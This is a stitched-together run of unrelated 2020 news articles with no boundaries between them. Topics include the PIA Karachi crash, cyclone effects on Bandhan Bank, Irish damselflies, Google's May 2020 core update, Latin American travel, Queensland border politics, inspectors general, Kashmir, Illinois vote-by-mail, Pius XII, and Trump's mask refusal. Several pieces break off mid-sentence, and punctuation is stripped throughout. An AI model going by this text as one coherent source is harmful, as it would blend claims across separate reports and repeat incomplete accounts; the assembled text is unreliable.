Southern Sindh province, of which Karachi is the capital, is the epicentre of the virus infections in Pakistan. The province has nearly 20,000 of the countrys more than 50,000 cases.

Karachi mayor Wasim Akhtar initially said all aboard died, but two civil aviation officials later said at least two people survived.

Local TV stations reported that three people sitting in the front row of the aircraft survived and showed video of a man on a stretcher they identified as Zafar Masood, head of the Bank of Punjab.

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Pakistans civil aviation authority said the plane was carrying 91 passengers and a crew of seven. Earlier, the airport in the north-eastern city of Lahore had said 107 were on board.

Civil aviation authority spokesman Abdul Sattar Kokhar said the discrepancy was due to confusion in the chaotic aftermath of the crash.

A transmission of the pilots final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling to make another attempt.

We are proceeding direct, sir  we have lost engine, a pilot said.

Confirm your attempt on belly, the air traffic controller said, offering a runway.

Sir, mayday, mayday, mayday, mayday Pakistan 8303, the pilot said before the transmission ended.

In one of the radio communications, at least one exchange from the flight sounded like a warning alarm was going off in the cockpit.

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Karachi resident Abdul Rahman said he saw the jet circle at least three times, appearing to try to land before it crashed.

Prime minister Imran Khan tweeted: Shocked & saddened by the PIA crash Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased.

Airworthiness documents showed the plane last received a government check on November 1. PIAs chief engineer signed a separate certificate on April 28 saying all maintenance had been conducted and the aircraft was fully airworthy and meets all the safety standards.

Ownership records for the Airbus A320 showed China Eastern Airlines flew the plane from 2004 until 2014. The plane then entered PIAs fleet, leased from GE Capital Aviation Services.

Airbus said it would provide technical assistance to investigators in France and Pakistan, as well as the airline and engine manufacturers.
Shares of Bandhan Bank slipped 6.5 per cent to Rs 197 on the BSE on Friday after the private sector lender said its services have been impacted in some areas of West Bengal and Odisha due to Amphan and the cyclone is likely to impact business worth Rs 260 crore.

The stock has fallen 11 per cent in the past two trading days, as compared to a 0.4 per cent rise in the S&P BSE Sensex. Cyclone Amphan struck five districts in southern West Bengal and northern coastal Odisha starting in the afternoon of May 20 and lasting till the wee hours of the morning of May 21. As per the initial ...
The Large Red Damselfly is the only red damselfly found in Ireland and is flying at present.

Damselflies are quintessential summer insects, so it is nice to see them on the wing again heralding the imminent approach of summer days.

Damselflies have long, slim bodies, two large, bulging eyes that are separated by a distinct gap and they seldom venture far from vegetation or the water surface of ponds and other water bodies.

They are a small group with just eleven species recorded in Ireland. All eleven are resident breeders. Mature males are easiest to identify as they are brightly coloured and boldly marked. Females and immature males are more difficult to identify as their colours can be very variable, often with several different colour forms.

The following key identifies the mature males of the eleven species. The first division is that two of the eleven species have coloured wings; the other nine have clear wings. The Beautiful Demoiselle has dark colour almost all over its wings whereas the Banded Demoiselle has just a large brown band, like a thumb-print, across the central portion of its wings.

The remaining nine have clear wings and are separated by the colour of the body: one is red, two are green and six are blue. The red one is the Large Red Damselfly pictured above. It has bright red eyes and a red body with some black markings. It is the only red damselfly found in Ireland and it is the first to emerge being on the wing in April. It is common and widespread.

Our two green members of the group are the Emerald Damselfly and the Scarce Emerald Damselfly. Both have some parts of the body coloured a metallic emerald green often with a bronzy sheen. They may also have some powdery blue markings. They are unusual among damselflies in that they rest with their wings spread out flat or partially so.

That leaves the six blues. Two of them are more black than blue but they have a striking patch of bright blue on their tails, so as 'blue-tails' they qualify as blues. The Blue-tailed Damselfly is more common and widespread than the local Scarce Blue-tailed Damselfly.

The remaining four are called 'bluets', and are more challenging to identify.

That said, many damselflies are relatively easy to identify using close-focusing binoculars. If you see a Large Red or other damselfly, Biodiversity Ireland would love to hear about it for their Dragonfly Ireland 2019-2024 monitoring scheme; full details and lots of helpful resources at https://www.biodiversityireland.ie/projects/monitoring-scheme-initiatives/dragonfly-ireland-2019-2024
On May 4, a day filled with nerdy Star Wars jokes, Google's public search liaison Danny Sullivan made an important announcement via Twitter: Later today, we are releasing a broad core algorithm update, as we do several times per year. It is called the May 2020 Core Update. Our guidance about such updates remains as weve covered before. Please see this blog post here.

Later today, we are releasing a broad core algorithm update, as we do several times per year. It is called the May 2020 Core Update. Our guidance about such updates remains as weve covered before. Please see this blog post for more about that: https://t.co/e5ZQUAlt0G

Predictably, online business owners everywhere began fretting about our page rankings and worrying about how our website content would fare. As it turns out, the word of the dayperhaps of the yearis volatility.

Related: 4 Ways You Can Use Google Hangouts to Optimize Efficiency

Volatility is the best word to describe pretty much everything about 2020. Unemployment, stay-at-home orders, the health of our businesses, the stock markets, the news cycle, and yesGoogles May 2020 Core Update. And as it turns out, all these things are wrapped up together, all mutually interdependent.

Later in the day he made the announcement, Danny Sullivan confirmed that the update was underway.

The May 2020 Core Update is now rolling out live. As is typical with these updates, it will typically take about one to two weeks to fully roll out.  Google SearchLiaison (@searchliaison) May 4, 2020

But the two-week rollout seems to be one of few qualities that make it typical of Google. What makes this particularly volatile?

First  and Im counting on readers to let me know if I have this wrong  I dont recall Google updates that take into account a specific event like a global health crisis. Although Google hasnt specifically tied its 2020 Core Update to the current situation, Danny Sullivan did tweet earlier on May 4, 2020 that the search engine was seeing radically different user behavior and needs than it previously had. In April, Google started changing the way it displayed some crisis-related search results, so clearly it's poised to quickly deliver the results users need and want.

Second, anytime Google rolls out an algorithm update, theres volatility in search results, partly because the rollout happens over a roughly two-week period, and partly because SEO professionals labor mightily to ensure their clients websites still get traffic.

Related: Google's New Algorithm Update Means New SEO Best Practices For 2020

So wacky search results tend to be the norm for Google updates. The May 2020 Core Update, though? Epic volatility. In fact, SEMrush analyzed the volatility for the new update compared to the January 2020 one. Its conclusion: While Januarys core update only led to average volatility of 8 points, on May 6, almost every category showed peaking volatility rates  from 9 to 9.4 points. So, the May core update appears to be much stronger and influencing more SERPs and positions. The SEMrush article goes on to list the industries most affected by the update, among them travel, real estate, news and health.

Despite the ranking shakeup thats happening, though, SEMrush has clear advice: Something to keep in mind with these updates, you need to give this update time to complete before panicking.

So we know the worlds in flux, and the new normal seems to change as the wind blows. But what does that mean for your business, your website and the changes you need to make to ensure your company weathers the storm in the May 2020 Core Updates wake?

Related: Former Google Exec: 'Don't Be Evil' Motto Is Dead

Well, for starters, you shouldnt pull a LinkedIn. Though theres no direct comment from either Google or LinkedIn that definitively explains why the social media site didnt appear in Google searcher for roughly 10 hours on May 6, Search Engine Journal speculates LinkedIn came to be de-indexed from Google either by blocking Googles crawlers or by removing the HTTP version of the site. Dont do that!

What you should do to make sure the update doesnt negatively affect your page ranking? Follow the advice Danny Sullivan linked to in his Tweet announcing the update. The Google Webmaster blog explains: We suggest focusing on ensuring youre offering the best content you can. Thats what our algorithms seek to reward.

We may feel like lifes moving too quickly for us to keep up. Everything feels volatile, and thats scary. But it may be helpful to realize that uncertainty isnt a modern problem. After all, as Greek philosopher Heraclitus wrote, "change is the only constant in life."

What do you need to do to navigate the Google May 2020 Core Update? Exactly what youve been doing. Provide fresh, authentic, useful, relevant content that answers questions and gives vital information about your business.

Related: How Google Analytics Help Small Business Owners to Make Better Business Decisions

Related:

5 Lessons That Will Help Your Business Get Through a Crisis

It's Time to Get Creative and Adapt Your Marketing to the Crisis

How Much Time Should You Be Spending on the Google Algorithm Update?



Copyright 2020 Entrepreneur.com Inc., All rights reserved
These are the safest and cheapest countries to travel and visit in Latin America after the global pandemic, according to a published article.

Latin America as One of the Most Visited Regions in the World

Latin America is always at the top of the list for every traveler. The historical and beautiful scenery that the region offers everyone entice people around the globe to visit at least a country or two in the region. This is where people will feel and experience the vibrance of culture and environment co-exist together.

Each year, millions of people from the different parts of the world flock in some countries in Latin America to enjoy the beaches, rainforests, mountains, biodiversity, culture, festivals, and more. In fact, tourism in the region has contributed more than $349 billion to the region's Gross Domestic Product according to its available data.

Additionally, one of the concerns of every traveler is their safety. Many Latin America received favorable scores on the Global Peace Index compiled by the Institute for the Economics and Peace. Meanwhile, the countries affordability is based on the Big Mac Index. It measures the Purchasing Power Parity by comparing the Big Mac by each country.

This means that if the country has a Big Mac of less than the U.S. that costs $5.67, a country is more affordable to travel and live with.

Here are the safest and cheapest countries in Latin America that you should visit after the pandemic:

1. Chile

The Global Peace Index Rank in 2019 of the country in 27 out of 163 countries across the globe. In 2018, they have recorded a huge number of tourists that is around 5.7 million. Additionally, its Big Mac Index this year is $3.42. Travelers will enjoy the country's coastal beach towns, extensive national park system, wine tours, and more.

2. Costa Rica

Costa Rica ranked 33 out of 163 countries based on the Global Peace Index in 2019. They also recorded more than 3 million international tourists in 2018. Additionally, its Big Mac Index this year is $4.12. Travelers will enjoy the country's beach towns, rainforests, volcanoes, and most of all are its locals. The country is known for its whitewater rafting, canopy tours, zip-lines, night-hikes through the rainforests, and more.

3. Uraguay

Uraguay ranked 34 out of 163 countries based on the Global Peace Index. They are just below Costa Rica. In 2018, the country was visited by around 3.5 million international tourists. Additionally, the Big Mac Index of the country this year is $4.78. Travelers will enjoy wide-open beaches, coastal fishing villages that attract abundant wildlife, including sea lions, seals, penguins, and more.

4. Panama

Panama ranked 47 out of 163 countries based on the Global Peace Index in 2019. They were also visited by more than 1.8 million international tourists that help them boost their economy. The country is known for its beautiful beaches and certainly famous for its Panama Canal, one of the largest engineering projects of the 20th century in the world. Travelers will enjoy surfing on its beautiful beaches, forests and jungles, and its coffee.

5. Mexico

Mexico is still the most visited countries in Latin America. They were visited by more than 41.5 million international tourists. Some states in Mexico are safe while others are not tourists friendly. The best thing to do when traveling in Mexico is to get a Local Travel Guide and avoid roaming the streets of Mexico at night.

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Pauline Hanson has claimed the Queensland government closed schools to scare residents into taking coronavirus seriously.

The One Nation leader said the state's chief health officer Jeannette Young admitted there was no medical reason to shut them down but advised Premier Annastacia Palaszczuk to do it anyway.

'She actually said we didn't really need to close the schools down but we want to put the fear in people to take coronavirus seriously,' Senator Hanson told Hit South QLD radio today.

Ms Hanson was referring to Dr Young's interview with the Brisbane Times on April 30 in which she admitted that closing schools was about 'messaging'.

Pauline Hanson (pictured) has claimed the Queensland government closed schools to scare residents into taking coronavirus seriously

'If you go out to the community and say, "this is so bad, we can't even have schools, all schools have got to be closed", you are really getting to people,' Dr Young said.

'So sometimes it's more than just the science and the health, it's about the messaging.

'So my advice to the Premier was, "we've got to do it. It'll be awful, but we've got to do it".'

Federal health experts have insisted that schools did not need to close because children are not at high risk of contracting and spreading the disease.

Queensland schools closed on 26 March and began to re-open on 15 May.

Daily Mail Australia has contacted the Queensland government for comment.

Radio presenter Beth Larson (pictured) was shocked to hear Senator Hanson's claims

Senator Hanson also slammed the Queensland Premier for keeping the state borders closed.

'I believe she's using this as an election ploy leading up to the election in October and I think it stinks, she said.

'We need leadership not dictatorship.'

Senator Hanson is launching a legal challenge to Queensland's border closure.

She has got lawyers and potential plaintiffs lining up to be part of her planned High Court challenge.

Ms Hanson believes it's unconstitutional for the premier to restrict the movement of people, causing severe harm to the economy in the process.

Home Affairs Minister Peter Dutton has backed the legal challenge, saying the premier's 'lack of logic' is killing the economy.

The home affairs minister has repeatedly attacked Ms Palaszczuk for refusing to ease coronavirus restrictions and admit visitors from interstate.

Asked on Friday if he believed the premier's actions were unconstitutional, Mr Dutton said he wasn't sure, but added:

'People are right to test that if they think it's not. Because it is impacting on people's lives.'

New South Wales residents cannot take holidays in Noosa (pictured) due to border restrictions preventing them from getting to QLD

He said there was 'no logic' underpinning the premier's position, despite Queensland's Chief Health Officer Jeannette Young saying it isn't safe to let people in until infections in southern states fall.

The national health advisory committee has made no decision nor offered advice on state border closures.

But a road map to get the nation back to normal after the coronavirus crisis allows for intra and interstate travel from July 10.

There were no new cases confirmed overnight and only 12 Queenslanders still have the virus after health officials completed 169,863 tests.

Australia's deputy Chief Medical Officer Paul Kelly has said that from a medical point of view, he can't see why some borders remained closed.

But Ms Palaszczuk has backed the advice of Dr Young, and says she won't be told what to do by NSW Premier Gladys Berejiklian, who's called for borders to reopen to aid economic recovery.

Regions such as Port Douglas (pictured) in north Queensland are not available to anyone outside the state due to border restrictions

'We're not going to be lectured to by a state that has the highest number of cases in Australia,' Ms Palaszczuk said.

Tourism operators have pleaded with the premier to open the border from July.

Some southern Gold Coast businesses who rely on trade from northern NSW say the closure is like living with the Berlin wall.

Senator Hanson has vowed to press on with her planned High Court challenge, even though some observers have warned borders will have opened by the time it is heard.

'I've had three legal firms who have contacted my office also wanting to get involved in this case,' she told the Nine network on Friday.

'They are constitutional lawyers. Surprisingly also by midday yesterday we had 45 people to come forward to be the plaintiff in this action against the Palaszczuk government.'

University of Queensland constitutional law professor Nicholas Aroney says Senator Hanson's promised case relates to section 92 of the constitution, which deals with trade and the movement of people between states.

He's told SBS the High Court would have to decide if the border closure and resulting restrictions on the movement of people was a response proportionate to the situation.

And the case for keeping borders shut would weaken as infections drop, he said.
Enniscorthy-based independent fund depositary and oversight business INDOS Financial has appointed Elaine Breen to the position of head of Legal and Compliance for the company's Irish operations.

Ms Breen is the former General Counsel at Blackbee Investments in Cork and she also held senior roles at IFG Group and Willis.

She is also a former member of the judging panel for the global Women in Compliance Awards and the Early Irish Career Awards and is an assessor for the Good Governance Awards which are presented within the not-for-profit sector.

Ms Breen was also recognised in the 2019 Ireland General Counsel Powerlist.

Bill Prew, CEO of INDOS Financial, welcomed the appointment and said Ms Breen will establish and develop the business's in-house legal and compliance capabilities.

'Elaine's first task will be to complete INDOS' application to gain Central Bank of Ireland authorisation to provide depositary services to Irish domiciled private equity and real estate funds,' said Mr Prew.

Ms Breen is a qualified Irish solicitor and she is also qualified under the Solicitors Regulation Authority in England and Wales.

Her qualifications include a BA (Hons) in business and law, LLB (Hons), a master's in law (LLM practitioner) and certificates in international risk management and compliance.

Her base will be INDOS Financial's offices in Enniscorthy.

The business set up its Irish operations base in Enniscorthy in 2013 and currently employs 23 of the 49 employees within the INDOS group.

It develops solutions within the fund oversight and depositary service sector.

Up to last month, the business's client assets under depositary oversight had grown past $35bn.
Chairwoman Carolyn Maloney, D-N.Y., speaks during a House Oversight and Reform Committee hearing on D.C. statehood on Tuesday, Feb. 11, 2020.

House Democrats on Friday announced a new bill to protect inspectors general from political retribution in response to President Donald Trump's "relentless attacks" against government watchdogs.

The bill from Democrats on the House Oversight Committee came a week after Trump fired State Department Inspector General Steve Linick on a recommendation from Secretary of State Mike Pompeo. Linick was reportedly conducting at least two investigations involving Pompeo when he was removed last Friday night.

"Unfortunately, this bill has become necessary because the Trump administration has launched a campaign against inspectors general for doing their jobs, for investigating waste, fraud, and abuse, for reporting the truth, and for holding this administration accountable," Committee Chairwoman Carolyn Maloney, D-N.Y., said in a press release.

Trump has fired multiple inspectors general over the past several months.

In April, the president ordered the removal of Michael Atkinson, the inspector general of the intelligence community who had flagged the Ukraine whistleblower complaint that became a major catalyst for Trump's eventual impeachment in the House. Trump was acquitted in the Senate.

Days later, Trump removed acting Pentagon Inspector General Glenn Fine, who was overseeing the $2 trillion coronavirus relief package.

Last Friday night, Trump removed Linick. The president told House Speaker Nancy Pelosi, D-Calif., in a letter that he had lost confidence in the watchdog, without further explanation. Pelosi later said the firing could be "unlawful" if it was an act of retaliation.

Pompeo confirmed this week that he urged Trump to fire Linick, while maintaining that his recommendation was in no way intended as political retribution. Trump said he didn't know anything about Linick except that he was a holdover from former President Barack Obama's administration, but nevertheless followed through on Pompeo's recommendation.

Trump and Pompeo maintain the president had the right to fire Linick.

The legislation, dubbed the "Inspector General Independence Act," would lay out nine specific reasons for a president to remove an inspector general, including "neglect of duty," "malfeasance" and committing a "knowing violation of law or regulation."

Ohio Rep. Jim Jordan, the top Republican on the Oversight Committee, did not immediately respond to CNBC's request for comment on the bill. The White House did not immediately provide comment.

The bill was introduced by Maloney, as well as House Majority Leader Steny Hoyer, D-Md., Rep. Gerry Connolly, D-Va., chairman of the Subcommittee on Government Operations, and Rep. Stephen Lynch, D-Mass., chairman of the Subcommittee on National Security.

The legislation is aimed squarely at Trump.

"President Trump's relentless attacks against these honest and dedicated government watchdogs are contrary to our fundamental democratic values," Lynch said in the release.

"The Trump administration has repeatedly demonstrated complete disregard for independent oversight," Connolly said. "This legislation will protect Inspectors General from undue political interference and retribution for simply carrying out their responsibilities. The independence of IGs is essential to accountability that is essential to our democracy. Silence and inaction by Congress will only embolden this reckless behavior."
Pakistan Foreign Minister Shah Mahmood Qureshi telephoned UN Secretary-General Antonio Guterres on Friday to convey its concern over India's decision to change the domicile law for Jammu and Kashmir.

Under the domicile rules, all those persons and their children who have resided for 15 years in Jammu and Kashmir or have studied for seven years and appeared in class 10 or 12 examinations in an educational institution in the Union Territory are eligible for grant of domicile.

The Foreign Office said that Qureshi updated the UN chief on the situation in Kashmir.

The Foreign Minister alluded to the recent domicile law in Kashmir, which was in violation of relevant UN Security Council resolutions and international law, including the 4th Geneva Convention.

He also claimed that India may resort to some false flag operation.

The foreign minister said that Pakistan remained ready to allow the UNMOGIP to authenticate the claim over terror launch pads, if India provides any specific information.

India maintains that the UN Military Observer Group in India and Pakistan (UNMOGIP), established in January 1949, has outlived its utility and is irrelevant after the Simla Agreement and the consequent establishment of the Line of Control (LoC).

Qureshi said that the United Nations should play due role in preventing the situation in Kashmir from further escalating and stopping India from its "illegal actions" and preserving the peace and security in South Asia.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
By Greg Lalevee

One glimmer of a silver lining in our current dark coronavirus cloud is that Congress seems focused on making sure we have safe drinking water. In few states is that as important as in New Jersey.

The catalog of lead-poisoned water in Newark is detailed and its not the only city in New Jersey dealing with this gigantic hazard. Thats why Congress decision to finally pay attention to infrastructure and adequately fund modernizing our nations drinking water systems is on the mark. Weve got to remove lead-lined pipes and our current crisis has exposed even more severe concerns.

Congressman Frank Pallone who represents Monmouth and Middlesex counties says it best: I think the coronavirus pandemic has really kind of bared a lot of inadequacies with the nations infrastructure. Weve got to address the infrastructure so this doesnt happen again if there's another pandemic or disaster of a similar nature.

Water infrastructure tends only to make the news for the wrong reasons; its an unsung, unseen hero when it works, and a true crisis and catastrophe when it doesnt. Making matters worse, the most important and costly pieces are often completely hidden  literally, below ground  from the public, so the condition and longevity of pipes can be hard to determine from above ground.

But fixing our pipes should be a major priority for all New Jerseyans. Weve seen whats happened in Flint, and revelations about lead in the water in Newark, Paterson, Glassboro and dozens of other places throughout New Jersey  including in our schools  raised alarms. And while lead is a major concern, our pipes have deeper structural problems that also require urgent attention.

Ive worked on both our crumbling roads and our aging pipes. Ive seen the worst our infrastructure has to offer, including bridges that feel unsafe to drive on and clay pipes in such poor shape that they break into dust at the touch. Some water providers are replacing aging pipe but you will excuse the pun  so far its been only a little more than a drop in the bucket based on statewide deficiencies.

Experts estimate that our water infrastructure requires $8 billion over the next 10 years to protect our water supply, maintain efficient and safe delivery of drinking water and disposal of waste, and properly use the water resources we have. While the political will to raise money for any cause remains a challenge in New Jersey  one that New Jerseyans are right to be wary of  heeding the alarm is a smart move for the faucets and the checkbooks of our residents.

Thats why we need to adopt a holistic approach to improving our water pipes that take into account indoor piping, drinking water, sewers and our waters environmental impact, all at once.

Its often said theres no Democratic or Republican way to plow snow. The same must apply to our drinking water and thats why Congress must move quickly on this initiative, especially now that President Trump and Speaker Pelosi seem to agree. Our health and wellbeing depend on it.

Greg Lalevee is the business manager for the International Union of Operating Engineers Local 825 based in Springfield.

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Illinois will send vote by mail applications to millions of voters this fall under a bill approved by the House Executive Committee Thursday.

In an 8-5 partisan vote, Senate Bill 1863 will also make election day this year a holiday for schools and university staff. Rep. Kelly Burke, D-Evergreen Park, said that will allow schools to continue to be used as polling places without potentially exposing students to the COVID-19 virus.

The changes are being made to give voters a chance to participate in the Nov. 3 election without having to vote in person and potentially spread the coronavirus. The changes are for the 2020 general election only.

"There was a public health concern with robust participation in the elections," Burke said. "It is important we are doing everything we can to protect our residents and ensure they have access to voting."

All five Republican committee members voted against the proposal raising skepticism about the plan and whether there were sufficient safeguards to protect against voter fraud.

"Obviously, this is a huge change to election law," said Rep. Tim Butler of Springfield, "We have a very robust vote by mail system in Illinois. I think we have a great process in place now."

Currently, a person must request an application from local election authorities in order to vote by mail. Under the bill, anyone who voted in the 2018, 2019 or 2020 election will be automatically mailed an application to obtain a vote by mail ballot, including those who voted by mail in those elections. Burke said that would mean about five million voters.

The cost of the mailings is estimated at $2.7 million. Burke said federal funds provided to states to deal with the effects of the coronavirus should cover the cost. She said local election authorities will be reimbursed for their costs under the program.

"There is some extra cost, but in the scheme of trying to keep people healthy and vote in November, I think it is worth it," Burke said.

Making election day a holiday for schools will help prevent school children from potentially being exposed to the coronavirus, Burke said. Many polling places are located in school buildings.

General election day is already a holiday for state employees. Burke said the holiday does not extend to local government employees.

Republican lawmakers on the committee -- all of whom voted against the bill -- raised a number of concerns. Butler said he was concerned that ineligible voters could get ballots if local authorities haven't kept their voter lists up to date.

He also raised concerns about the security of drop boxes that local authorities have the option of using to allow people to drop off their ballots without mailing them. Burke said procedures are in place to ensure the boxes are secure. She also said it is optional for local authorities to use them.

Procedures are also in place to have election judges verify if the signature on a mail-in ballot matches the signature on file for the voter at the local election office.

The bill will now go to the House floor for approval. It must also be approved by the Senate this week during the General Assembly's planned, abbreviated session.

Gov. JB Pritzker has already called for an expanded vote by mail program this year because of the coronavirus and would be expected to sign the bill into law if it reaches his desk.

PHOTOS: Protesters rally in Springfield in Wednesday

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Earlier this year, in a move demanded for decades, the Vatican finally opened its archives concerning Pope Pius XII and his policy toward the Nazis and their victims during the Second World War. The onset of coronavirus put a temporary hold on research but once Romes libraries are reopened the legions of historians will be back at work. Thats hardly surprising, because this issue has plagued the church for decades.

In the brief period before the virus closed the Vatican archives there were already reports of deeply troubling findings. German historians read documents seeming to prove that Pius was well aware of what was happening to Europes Jews very early but was far too easily persuaded by his aides to dismiss the information and keep it from the U.S. government in particular.

His office was also receiving reports from Catholic leaders and activists in Ukraine and Poland about massacres but again did nothing. There is also evidence that the Vatican later tried to hide all of this so as to protect Piuss reputation. Far more time is required to draw absolute conclusions but the prognosis isnt encouraging.

Known by some critics as Hitlers Pope, and by defenders as someone who detested fascism and saved numerous Jewish lives, Pius has been an acutely controversial figure since his death in 1958.

Born Eugenio Pacelli in 1876, he was elected Pope in 1939, in an era that demanded enormous courage in a religious leader. While Pius had no affection for the Nazis, he was severely underqualified to stand up to Hitlerism. He was also very much a product of his time and his faith: obsessively frightened of Communism and what he saw as its campaign against the Church, and  because he was unaware of who would triumph in the war  terrified of alienating Berlin. He probably wasnt anti-Semitic as such but did embrace what was then a theology that allowed room for animus against Jewish people.

In his defence, before he became Pope, Cardinal Pacelli had drafted a papal encyclical that condemned Nazi racism. As Pope he used Vatican money to ransom Jews from the Nazis, and also hid Jewish families in the papal palace of Castel Gandolfo. In 1945, Rabbi Herzog of Jerusalem thanked the pontiff, for his life-saving efforts on behalf of the Jews during the occupation of Italy.

But that positive reputation began to change in 1963 with German playwright Rolf Hochhuths play The Deputy. It argued that Pius had supported fascism and ignored Jewish suffering. That in turn unleashed an entire wave of criticism.

What can be said is that Pius was never specific about what was happening to the Jews and failed to address the involvement of Catholics in the death camps. If he had threatened excommunication to any Roman Catholic who participated in the arrest and murder of Jews it could have limited, even stopped, the entire horror.

There would have been a terrifying response from the Nazis, but should someone who professes to be the direct successor of St. Peter, the Jewish fisherman who followed the Jewish Jesus, be concerned with that?

The Dutch Carmelite friar and priest Titus Brandsma, for example, certainly wasnt. He publicly opposed National Socialism during the war and was eventually murdered by the Nazis for his resistance.

Many other Christians, with far less influence and protection than the Pope, did the same and some of them were similarly martyred. The King of Morocco, a Muslim, simply refused to obey the occupying Vichy French authorities, protected his Jewish subjects and saved their lives.

Whatever revelations are produced by the archives will be significant in themselves but will also inform, perhaps infect, the reputation of the contemporary church and to an extent its relationship with the Jewish people.

Much in that regard has changed for the better since the Second Vatican Council of the early 1960s but how Rome responds to all of this will be an estimable litmus test. When Pope Francis gave permission for the archives to be opened he said, The Church is not afraid of history. Well see. History is as much a living companion as it is a distant ancestor, as the Catholic Church is likely to discover.
President Donald Trump declined to wear a protective face mask in public Thursday during a visit to a Ford manufacturing plant in Michigan that is turning out ventilators and masks for use in the coronavirus pandemic, despite a request from the carmaker that he wear one and an executive order from the state's Democratic governor requiring them.

Ford Motor Co. executives wore masks as they led the president on a tour, in accordance with company policy, but Trump said it was "not necessary here." He suggested the issue is symbolic, but not in the lead-by-example manner his critics say he should view it.

Instead, Trump - who publicly prizes strength and symbols of masculinity including height, firm handshakes and deep voices - suggested he considers it unseemly or unpresidential to be seen in a mask. Trump said he had worn a mask in another area of the plant, "where they preferred it," but declined to wear one in view of the cameras.

"I didn't want to give the press the pleasure of seeing it," Trump said.

Masks have become emblematic of a cultural and increasingly political divide over restrictions meant to slow the spread of the coronavirus. Screaming maskless protesters, some armed, faced off with masked law enforcement officers inside the Michigan state Capitol last month. A confrontation between a calm Costco employee and a shopper in Colorado who refused to wear a mask "because I woke up in a free country" went viral online this week.

Trump is encouraging the quick end to restrictions on movement and commerce amid a steep economic decline, including the highest unemployment in decades, making masks part of a time period he is trying to leave behind.

"And now we're going to turn it back on like never before," Trump said in a speech on the factory floor.

"A permanent lockdown is not a strategy for a healthy state or a healthy country," Trump said, referring to stay-at-home orders in place throughout much of the country. "Our country wasn't meant to be shut down."

Ford had initially requested that Trump wear a mask during his visit to the Rawsonville manufacturing plant in Ypsilanti Township, but then said earlier this week that it was up to the White House. Following Trump's visit Thursday, the company issued a statement saying that while CEO Bill Ford had asked Trump to wear a mask, the choice was Trump's. The president did wear a mask while viewing historical cars out of the view of cameras, the company said.

Company policy maintains that visitors wear protective equipment or garments such as masks.

For reporters, Trump held up a navy blue cloth mask like those worn by many White House staffers. He also wore a clear plastic face shield at one point during the tour at the plant, which normally makes car batteries.

Trump is tested for the coronavirus daily, which he says means he does not need to wear a mask. Trump had said earlier Thursday that he "tested perfectly this morning, meaning - meaning I tested negative."

He has previously said that while he supported public health recommendations for face masks as an effective way to prevent transmission of the virus, he did not plan to wear one because it would be unseemly, especially in the Oval Office.

Ford later issued a statement saying that executive chairman William Clay Ford Jr. had asked Trump to wear a mask when he arrived, and that Trump had done so while viewing an exhibit of historical cars but had then removed it.

Ahead of the trip, the state's attorney general implored him to wear a face mask on his tour, citing a "legal responsibility."

"While my Department will not act to prevent you from touring Ford's plant, I ask that while you are on tour you respect the great efforts of the men and women at Ford - and across this State - by wearing a facial covering," Michigan Attorney General Dana Nessel, a Democrat, wrote in an open letter addressed to Trump.

"It is not just the policy of Ford, by virtue of the Governor's Executive Orders. It is currently the law of this State."

After Trump's visit, Nessel said on CNN that the president is no longer welcome in the state after defying Gov. Gretchen Whitmer's executive order that requires a mask in an enclosed public space: "He is a petulant child who refuses to follow the rules. This is not a joke."

The president was not wearing a mask when he walked off Air Force One at the Detroit airport, nor when he arrived at the plant near Ypsilanti. His first public remarks there made clear that the visit, his third in as many weeks to a battleground state, are partly about talking up his response to the covid-19 pandemic and attempting to turn the page on the ongoing pandemic.

Appearing maskless with a group of African-American business and community leaders, Trump said his pandemic response had made governors "look good," but claimed that some Democratic governors now think it is good politics to keep their states on lockdown.

"Our country's coming back," Trump said in response to questions from reporters. "We did the right thing," in imposing various precautions against the spread of the virus, "but we now want to get going."

Trump spoke in front of a banner proclaiming "Transition to Greatness," his new rallying cry for recovery after the layoffs, business closures, sales slumps and other economic effects of the pandemic. In practice, it means calling for an end to stay-at-home policies like the one in Michigan that has been a particular focus for Trump. He has encouraged armed protests against the restrictions, tweeted "LIBERATE MICHIGAN" and criticized Whitmer, a Democrat, directly.

Republican Senate candidate John James was among the few meeting participants wearing masks. Others including Housing and Urban Development Secretary Ben Carson did not.

"If you do come to Washington, you have my ear," Trump told James, saying that "no one knows" James' opponent, Sen. Gary Peters, a Democrat.

Trump's son Donald Trump Jr. visited Michigan and raised money for James earlier this week.

The president's previous refusals to don a mask in public, as well as his recent travel, have led some officials to call on him to "set a better example" in fighting the spread of coronavirus. Among them was the Democratic mayor of Baltimore, who on Thursday asked Trump to skip a planned Memorial Day appearance at that city's Fort McHenry monument.

Experts have warned that the push to reopen the United States could lead to a second wave of infections across parts of the South and Midwest. There have been more than 5 million confirmed coronavirus cases worldwide, including more than 1.5 million in the United States.

Trump had been noncommittal on wearing a mask as he spoke with reporters before leaving the White House.

"Well, I don't know. We're gonna look at it," he said. "A lot of people have asked me that question."

As reporters shouted to be heard above the roar of Marine One, parked on the lawn behind Trump, Trump asked one questioner to remove a mask so as to be heard.

"I can't hear you. You have your mask on, I can't hear a word," Trump said.

- - -

The Washington Post's Allyson Chiu and John Wagner contributed to this report.
United States President, Donald Trump might have subtly confirmed that he tested positive for coronavirus and then negative. On Thu...

United States President, Donald Trump might have subtly confirmed that he tested positive for coronavirus and then negative.





On Thursday, he made a riddle wrapped in confusion when asked about how much longer he would be taking the antimalarial drug hydroxychloroquine.





Trump had disclosed that he was taking the medication.





And Im still here. Im still here, Trump told reporters in the White House.

I tested very positively in another sense so  this morning. Yeah. I tested positively toward negative, right. So, I tested perfectly this morning.





As journalists queried more amid the chopper noise, Trump added: Meaning I tested negative.





The American leader further clarified: But thats a way of saying it  positively toward the negative.





Asked if he had taken the COVID-19 antibody, Trump replied: Errr, no Ive not.





The U.S. is currently the epicenter of the pandemic.





America has recorded over 1.6million cases and 96,000 deaths.





Trump and his administrations officials have insisted China is guarding information about the outbreak.





The president recently suggested that Beijing wanted him to lose in the November elections.





The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) have accused China of scheming to hack COVID-19 vaccine research.




TROY  Rensselaer Polytechnic Institute in Troy has decided not to renew the contracts of 200 employees, including nearly 60 full-time, non-tenured faculty, according to multiple people informed of the decision by human resources staff.

RPI officials confirmed that about 60 faculty members were notified on Thursday that they would not be returning to the campus once their contracts were up and that an undisclosed number of adjunct positions had also been eliminated due to financial stresses brought on by the coronavirus pandemic.

